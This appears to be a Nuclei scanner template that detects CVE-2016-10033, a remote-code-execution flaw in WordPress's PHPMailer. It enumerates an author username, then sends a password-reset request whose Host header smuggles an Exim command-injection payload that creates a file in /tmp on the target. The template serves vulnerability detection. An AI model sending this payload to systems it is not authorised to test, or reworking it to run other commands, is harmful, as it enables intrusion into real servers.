id: CVE-2016-10033
info:
name: WordPress PHPMailer < 5.2.18 Remote Code Execution
author: princechaddha
severity: critical
description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
reference:
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
- https://www.exploit-db.com/exploits/40970/
- https://www.exploit-db.com/exploits/40968/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-10033
cwe-id: CWE-77
tags: cve,cve2016,rce,edb,wordpress
requests:
- raw:
- |+
GET /?author=1 HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept: */*
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
unsafe: true
extractors:
- type: regex
name: username
internal: true
group: 1
part: body
regex:
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
matchers-condition: and
matchers:
- type: word
words:
- wp-login.php?checkemail=confirm
part: header
- type: status
status:
- 302
# Enhanced by mp on 2022/04/13
